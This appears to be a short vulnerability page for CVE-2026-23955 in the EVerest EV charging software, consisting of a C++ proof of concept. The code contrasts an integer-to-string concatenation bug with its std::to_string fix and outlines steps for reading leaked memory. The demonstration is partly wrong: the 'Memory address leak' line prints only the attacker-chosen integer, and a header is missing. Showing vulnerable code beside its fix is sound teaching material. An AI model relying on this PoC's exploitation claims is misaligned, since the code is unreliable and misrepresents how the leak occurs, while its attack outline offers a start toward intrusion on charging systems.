CVE-2026-23955 EVerest EV充电软件栈字符串拼接整数信息泄露漏洞

// CVE-2026-23955 PoC - Information Disclosure via Integer-String Concatenation // This PoC demonstrates the vulnerability in EVerest's error handling #include <string> #include <iostream> // Vulnerable code pattern (before fix) void vulnerable_error_handler(int error_code) { // This causes pointer arithmetic instead of string concatenation // In C++, "Error: " + error_code interprets error_code as a pointer offset std::string msg = "Error: " + error_code; throw std::runtime_error(msg); } // Safe version (after fix) void safe_error_handler(int error_code) { // Correct way: convert integer to string first std::string msg = "Error: " + std::to_string(error_code); throw std::runtime_error(msg); } // Exploitation scenario: // 1. Attacker needs high privilege access to EV charging system // 2. Trigger error conditions with controlled integer values // 3. Read leaked memory contents from stack/heap // 4. Extract sensitive data from leaked memory regions int main() { std::cout << "CVE-2026-23955 Information Disclosure PoC" << std::endl; std::cout << "Target: EVerest EV Charging Software < 2025.9.0" << std::endl; // Simulate triggering vulnerable code path int malicious_code = 0x41414141; // Controlled value try { vulnerable_error_handler(malicious_code); } catch (const std::exception& e) { std::cout << "Exception: " << e.what() << std::endl; std::cout << "Memory address leak: " << (void*)malicious_code << std::endl; } return 0; }